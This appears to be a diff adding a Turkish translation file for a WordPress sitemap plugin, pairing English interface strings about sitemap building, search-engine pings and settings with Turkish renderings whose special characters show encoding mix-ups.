+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:534
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap.php:141
+msgid "Plugin Homepage"
+msgstr "Eklenti AnasayfasÄ±"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-ui.php:421
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:535
+msgid "Suggest a Feature"
+msgstr "Bir Ãzellik Ãner"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2887
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:536
+msgid "Notify List"
+msgstr "Bildiri listesi"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2888
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:537
+msgid "Support Forum"
+msgstr "Destek Forumu"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-ui.php:424
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:538
+msgid "Report a Bug"
+msgstr "Bir Hata Raporla"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2889
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:540
+msgid "Donate with PayPal"
+msgstr "PayPal ile BaÄÄ±Å Yap"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2890
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:541
+msgid "My Amazon Wish List"
+msgstr "Amazon Wish List'im"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2891
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:542
+msgid "translator_name"
+msgstr "Eklenti Ãevirmeni: BarÄ±Å Ãnver"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2891
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:542
+msgid "translator_url"
+msgstr "http://beyn.org"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:545
+msgid "Sitemap Resources:"
+msgstr "Site HaritasÄ± KaynaklarÄ±:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2897
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:546
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:552
+msgid "Webmaster Tools"
+msgstr "Webmaster AraÃ§larÄ±"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2898
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:547
+msgid "Webmaster Blog"
+msgstr "Webmaster Blog'u"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2900
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:549
+msgid "Site Explorer"
+msgstr "Site Explorer"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2901
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:550
+msgid "Search Blog"
+msgstr "Search Blog"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2898
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:553
+msgid "Webmaster Center Blog"
+msgstr "Webmaster Merkezi Blog'u"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:555
+msgid "Sitemaps Protocol"
+msgstr "Site HaritasÄ± ProtokolÃŒ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2904
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:556
+msgid "Official Sitemaps FAQ"
+msgstr "Resmi Sitemap SSS'si"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2905
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:557
+msgid "My Sitemaps FAQ"
+msgstr "Bu Eklentinin SSS'si"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2910
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:560
+msgid "Recent Donations:"
+msgstr "Son BaÄÄ±Ålar:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2914
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:564
+msgid "List of the donors"
+msgstr "BaÄÄ±Å YapanlarÄ±n Listesi:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2916
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:566
+msgid "Hide this list"
+msgstr "Bu listeyi sakla"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2919
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:569
+msgid "Thanks for your support!"
+msgstr "DesteÄiniz iÃ§in teÅekkÃŒrler!"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2931
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:587
+msgid "Status"
+msgstr "Durum"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2941
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:595
+#, php-format
+msgid "The sitemap wasn't built yet. <a href=\"%s\">Click here</a> to build it the first time."
+msgstr "Site haritanÄ±z henÃŒz oluÅturulmamÄ±Å. OluÅturmak iÃ§in <a href=\"%s\">buraya tÄ±klayÄ±n</a>."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2947
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:601
+msgid "Your <a href=\"%url%\">sitemap</a> was last built on <b>%date%</b>."
+msgstr "<a href=\"%url%\">Site haritanÄ±z</a> en son <b>%date%</b> tarihinde oluÅturulmuÅ."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2949
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:603
+msgid "There was a problem writing your sitemap file. Make sure the file exists and is writable. <a href=\"%url%\">Learn more</a"
+msgstr "Site haritanÄ±z oluÅturulurken bir hata oluÅtu. LÃŒtfen dosyanÄ±n var olduÄundan ve yazma izinlerinin olduÄundan emin olun. <a href=\"%url%\">Daha fazla</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2956
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:610
+msgid "Your sitemap (<a href=\"%url%\">zipped</a>) was last built on <b>%date%</b>."
+msgstr "SÄ±kÄ±ÅtÄ±rÄ±lmÄ±Å site haritanÄ±z"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2958
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:612
+msgid "There was a problem writing your zipped sitemap file. Make sure the file exists and is writable. <a href=\"%url%\">Learn more</a"
+msgstr "SÄ±kÄ±ÅtÄ±rÄ±lmÄ±Å site haritanÄ±z oluÅturulurken bir hata oluÅtu. LÃŒtfen dosyanÄ±n var olduÄundan ve yazma izinlerinin olduÄundan emin olun. <a href=\"%url%\">Daha fazla</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2964
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:618
+msgid "Google was <b>successfully notified</b> about changes."
+msgstr "Google <b>baÅarÄ±yla bilgilendirildi.</b>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2967
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:621
+msgid "It took %time% seconds to notify Google, maybe you want to disable this feature to reduce the building time."
+msgstr "Google'Ä±n bilgilendirilmesi %time% saniye sÃŒrdÃŒ, kurulum sÃŒresini dÃŒÅÃŒrmek iÃ§in bu seÃ§eneÄi kaldÄ±rabilirsiniz"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2970
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:624
+#, php-format
+msgid "There was a problem while notifying Google. <a href=\"%s\">View result</a>"
+msgstr "Google bilgilendirilirken hata oluÅtu. <a href=\"%s\">HatayÄ± gÃ¶ster</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2976
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:630
+msgid "YAHOO was <b>successfully notified</b> about changes."
+msgstr "Yahoo! <b>baÅarÄ±yla bilgilendirildi.</b>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2979
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:633
+msgid "It took %time% seconds to notify YAHOO, maybe you want to disable this feature to reduce the building time."
+msgstr "Yahoo!'nun bilgilendirilmesi %time% saniye sÃŒrdÃŒ, kurulum sÃŒresini dÃŒÅÃŒrmek iÃ§in bu seÃ§eneÄi kaldÄ±rabilirsiniz"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2982
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:636
+#, php-format
+msgid "There was a problem while notifying YAHOO. <a href=\"%s\">View result</a>"
+msgstr "Yahoo! bilgilendirilirken hata oluÅtu. <a href=\"%s\">HatayÄ± gÃ¶ster</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2976
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:642
+msgid "Bing was <b>successfully notified</b> about changes."
+msgstr "Bing <b>baÅarÄ±yla bilgilendirildi.</b>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2967
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:645
+msgid "It took %time% seconds to notify Bing, maybe you want to disable this feature to reduce the building time."
+msgstr "Bing'in bilgilendirilmesi %time% saniye sÃŒrdÃŒ, kurulum sÃŒresini dÃŒÅÃŒrmek iÃ§in bu seÃ§eneÄi kaldÄ±rabilirsiniz"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2970
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:648
+#, php-format
+msgid "There was a problem while notifying Bing. <a href=\"%s\">View result</a>"
+msgstr "Bing bilgilendirilirken hata oluÅtu. <a href=\"%s\">HatayÄ± gÃ¶ster</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2988
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:654
+msgid "Ask.com was <b>successfully notified</b> about changes."
+msgstr "Ask.com <b>baÅarÄ±yla bilgilendirildi.</b>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2991
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:657
+msgid "It took %time% seconds to notify Ask.com, maybe you want to disable this feature to reduce the building time."
+msgstr "Ask.com'un bilgilendirilmesi %time% saniye sÃŒrdÃŒ, kurulum sÃŒresini dÃŒÅÃŒrmek iÃ§in bu seÃ§eneÄi kaldÄ±rabilirsiniz"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2994
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:660
+#, php-format
+msgid "There was a problem while notifying Ask.com. <a href=\"%s\">View result</a>"
+msgstr "Ask.com bilgilendirilirken hata oluÅtu. <a href=\"%s\">HatayÄ± gÃ¶ster</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3002
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:668
+msgid "The building process took about <b>%time% seconds</b> to complete and used %memory% MB of memory."
+msgstr "Kurulum toplam <b>%time% saniye</b> sÃŒrdÃŒ ve %memory% MB bellek kullandÄ±."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3004
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:670
+msgid "The building process took about <b>%time% seconds</b> to complete."
+msgstr "Kurulum toplam <b>%time% saniye</b> sÃŒrdÃŒ."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3008
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:674
+msgid "The content of your sitemap <strong>didn't change</strong> since the last time so the files were not written and no search engine was pinged."
+msgstr "Site haritanÄ±zÄ±n iÃ§eriÄi Ã¶nceki <b>gÃŒncellemeyle aynÄ± olduÄundan</b> dolayÄ± herhangi bir gÃŒncelleme yapÄ±lmadÄ± ve herhangi bir arama motoru ping'lenmedi."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-ui.php:586
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:682
+msgid "The building process might still be active! Reload the page in a few seconds and check if something has changed."
+msgstr "Kurulum iÅlemi hala aktif olabilir! Bu sayfayÄ± birkaÃ§ saniye sonra yenileyip bir Åeyin deÄiÅip deÄiÅmediÄini kontrol edin."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3012
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:685
+msgid "The last run didn't finish! Maybe you can raise the memory or time limit for PHP scripts. <a href=\"%url%\">Learn more</a>"
+msgstr "Son gÃŒncelleme daha bitmedi! KullanÄ±lan bellek miktarÄ±nÄ± yÃŒkseltebilir veya kurulum sÃŒresini uzatabilirsiniz. <a href=\"%url%\">Daha fazla</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3014
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:687
+msgid "The last known memory usage of the script was %memused%MB, the limit of your server is %memlimit%."
+msgstr "BetiÄin son bilinen bellek kullanÄ±mÄ± %memused%MB oldu, sunucunuzun saÄladÄ±ÄÄ± bellek sÄ±nÄ±rÄ± ise %memlimit%."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3018
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:691
+msgid "The last known execution time of the script was %timeused% seconds, the limit of your server is %timelimit% seconds."
+msgstr "BetiÄin son Ã§alÄ±ÅtÄ±rÄ±lmasÄ± %timeused% saniye sÃŒrdÃŒ, sunucunuzun saÄladÄ±ÄÄ± sÃŒre sÄ±nÄ±rÄ± ise %timelimit% saniye."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3022
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:695
+msgid "The script stopped around post number %lastpost% (+/- 100)"
+msgstr "Betik, %lastpost% numaralÄ± yazÄ± civarÄ±nda (+/- 100) durdu."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3025
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:698
+#, php-format
+msgid "If you changed something on your server or blog, you should <a href=\"%s\">rebuild the sitemap</a> manually."
+msgstr "EÄer sunucunuzda veya blog'unuzda bir deÄiÅiklik yaptÄ±ysanÄ±z, site haritanÄ±zÄ± <a href=\"%s\">gÃŒncellemek</a> isteyebilirsiniz."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3027
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:700
+#, php-format
+msgid "If you encounter any problems with the build process you can use the <a href=\"%d\">debug function</a> to get more information."
+msgstr "EÄer bir sorunla (veya sorunlarla) karÅÄ±laÅÄ±rsanÄ±z, <a href=\"%d\">hata ayÄ±klama kipi</a>ni kullanÄ±p sorun(lar) hakkÄ±nda bilgi sahibi olabilirsiniz."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:707
+msgid "Basic Options"
+msgstr "Temel Ayarlar"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3044
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:709
+msgid "Sitemap files:"
+msgstr "Site haritasÄ± dosyalarÄ±:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3044
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3059
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3079
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3104
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3121
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:709
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:724
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:744
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:777
+msgid "Learn more"
+msgstr "Daha fazla"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:714
+msgid "Write a normal XML file (your filename)"
+msgstr "Normal bir XML dosyasÄ± oluÅtur (dosya isminiz.xml)"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:720
+msgid "Write a gzipped file (your filename + .gz)"
+msgstr "Gzip ile sÄ±kÄ±ÅtÄ±rÄ±lmÄ±Å bir dosya oluÅtur (dosya isminiz.xml.gz)"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3059
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:724
+msgid "Building mode:"
+msgstr "Kurma kipi"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3064
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:729
+msgid "Rebuild sitemap if you change the content of your blog"
+msgstr "Blog'un iÃ§eriÄi deÄiÅtiÄinde site haritasÄ±nÄ± gÃŒncelle"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3071
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:736
+msgid "Enable manual sitemap building via GET Request"
+msgstr "GET talebiyle site haritasÄ±nÄ±n elle kurulumunu etkinleÅtir"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3075
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:740
+msgid "This will allow you to refresh your sitemap if an external tool wrote into the WordPress database without using the WordPress API. Use the following URL to start the process: <a href=\"%1\">%1</a> Please check the logfile above to see if sitemap was successfully built."
+msgstr ""
+"EÄer blog'unuzu gÃŒncellemek iÃ§in Wordpress API'sini kullanmayan ÃŒÃ§ÃŒncÃŒ parti bir yazÄ±lÄ±m kullanÄ±yorsanÄ±z bu araÃ§ iÅinize yarayacaktÄ±r. BaÅlatmak iÃ§in aÅaÄÄ±daki baÄlantÄ±yÄ± kullanÄ±n:\n"
+"<a href=\"%1\">%1</a>\n"
+"LÃŒtfen site haritasÄ±nÄ±n baÅarÄ±yla kurulup kurulmadÄ±ÄÄ±nÄ± kontrol etmek iÃ§in raporlara bakÄ±nÄ±z."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:744
+msgid "Update notification:"
+msgstr "GÃŒncelleme bildirisi:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3083
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:748
+msgid "Notify Google about updates of your Blog"
+msgstr "Blog'unuzun gÃŒncellenimini Google'a bildir"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3084
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:749
+#, php-format
+msgid "No registration required, but you can join the <a href=\"%s\">Google Webmaster Tools</a> to check crawling statistics."
+msgstr "KayÄ±t gerektirmez, ama <a href=\"%s\">Google Webmaster Tools</a>'a katÄ±larak crawl istatistiklerini gÃ¶rebilirsiniz."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3083
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:753
+msgid "Notify Bing (formerly MSN Live Search) about updates of your Blog"
+msgstr "Blog'unuzun gÃŒncelleniÅini Bing'e bildir"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3084
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:754
+#, php-format
+msgid "No registration required, but you can join the <a href=\"%s\">Bing Webmaster Tools</a> to check crawling statistics."
+msgstr "KayÄ±t gerektirmez, ama <a href=\"%s\">Bing Webmaster Tools</a>'a katÄ±larak taranma istatistiklerini gÃ¶rebilirsiniz."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3088
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:758
+msgid "Notify Ask.com about updates of your Blog"
+msgstr "Blog'unuzun gÃŒncellenimini Ask.com'a bildir"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3089
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:759
+msgid "No registration required."
+msgstr "KayÄ±t gerektirmez."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3093
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:763
+msgid "Notify YAHOO about updates of your Blog"
+msgstr "Blog'unuzun gÃŒncellenimini Yahoo!'ya bildir"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3154
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:764
+msgid "Your Application ID:"
+msgstr "Uygulama ID'niz:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3155
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:765
+#, php-format
+msgid "Don't you have such a key? <a href=\"%s1\">Request one here</a>! %s2"
+msgstr "BÃ¶yle bir anahtarÄ±nÄ±z yok mu? <a href=\"%s1\">Buradan bir tane isteyin</a>!</a> %s2"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:770
+msgid "Add sitemap URL to the virtual robots.txt file."
+msgstr "Sanal robots.txt dosyasÄ±na site haritasÄ± URL'ini ekle."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:774
+msgid "The virtual robots.txt generated by WordPress is used. A real robots.txt file must NOT exist in the blog directory!"
+msgstr "WordPress'in oluÅturduÄu sanal robots.txt dosyasÄ± kullanÄ±lacaktÄ±r; gerÃ§ek bir robots.txt dosyasÄ± kÃ¶k dizinde BULUNMAMALIDIR!"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:777
+msgid "Advanced options:"
+msgstr "GeliÅmiÅ seÃ§enekler:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3124
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:780
+msgid "Limit the number of posts in the sitemap:"
+msgstr "Site haritasÄ±ndaki yazÄ± sayÄ±sÄ±nÄ± sÄ±nÄ±rlandÄ±r:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3124
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:780
+msgid "Newer posts will be included first"
+msgstr "Yeni yazÄ±lar site haritasÄ±nda ilk sÄ±raya yerleÅtirilsin"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3127
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:783
+msgid "Try to increase the memory limit to:"
+msgstr "KullanÄ±lacak bellek sÄ±nÄ±rÄ±nÄ± Åuna yÃŒkseltmeyi dene:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3127
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:783
+msgid "e.g. \"4M\", \"16M\""
+msgstr "(Ã¶rn. \"4M\", \"16M\")"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3130
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:786
+msgid "Try to increase the execution time limit to:"
+msgstr "Ä°Ålemi gerÃ§ekleÅtirmek iÃ§in gereken zaman sÄ±nÄ±rÄ±nÄ± Åuna yÃŒkseltmeyi dene:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3130
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:786
+msgid "in seconds, e.g. \"60\" or \"0\" for unlimited"
+msgstr "saniye olarak belirtin (Ã¶rn. \"60\") (sÄ±nÄ±rsÄ±z iÃ§in \"0\" kullanÄ±n)"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3133
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:790
+msgid "Include a XSLT stylesheet:"
+msgstr "Bir XSLT Sayfa YÃ¶nergesi (Stylesheet) Kullan:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3133
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:791
+msgid "Full or relative URL to your .xsl file"
+msgstr ".xsl dosyanÄ±zÄ±n tam veya baÄÄ±l yolu"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3133
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:791
+msgid "Use default"
+msgstr "VarsayÄ±lanÄ± kullan"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3152
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:797
+msgid "Enable MySQL standard mode. Use this only if you're getting MySQL errors. (Needs much more memory!)"
+msgstr "MySQL standart kipini etkinleÅtirin. YalnÄ±zca MySQL hatalarÄ± alÄ±yorsanÄ±z bunu kullanÄ±n, Ã§ok fazla belleÄe ihtiyaÃ§ duyar!"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:798
+msgid "Upgrade WordPress at least to 2.2 to enable the faster MySQL access"
+msgstr "Daha hÄ±zlÄ± MySQL eriÅimi iÃ§in WordPress sÃŒrÃŒmÃŒnÃŒzÃŒ en azÄ±ndan 2.2'ye yÃŒkseltin."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3166
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:805
+msgid "Build the sitemap in a background process (You don't have to wait when you save a post)"
+msgstr "Site haritasÄ±nÄ± bir arkaplan iÅleminde oluÅtur (Bir yazÄ±yÄ± kaydederken beklemek zorunda kalmazsÄ±nÄ±z)"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:806
+msgid "Upgrade WordPress at least to 2.1 to enable background building"
+msgstr "HaritanÄ±n arkaplanda oluÅturulabilmesi iÃ§in WordPress sÃŒrÃŒmÃŒnÃŒzÃŒ en azÄ±ndan 2.1'e yÃŒkseltin."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:813
+msgid "Additional pages"
+msgstr "Ek sayfalar"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:816
+msgid "Here you can specify files or URLs which should be included in the sitemap, but do not belong to your Blog/WordPress.<br />For example, if your domain is www.foo.com and your blog is located on www.foo.com/blog you might want to include your homepage at www.foo.com"
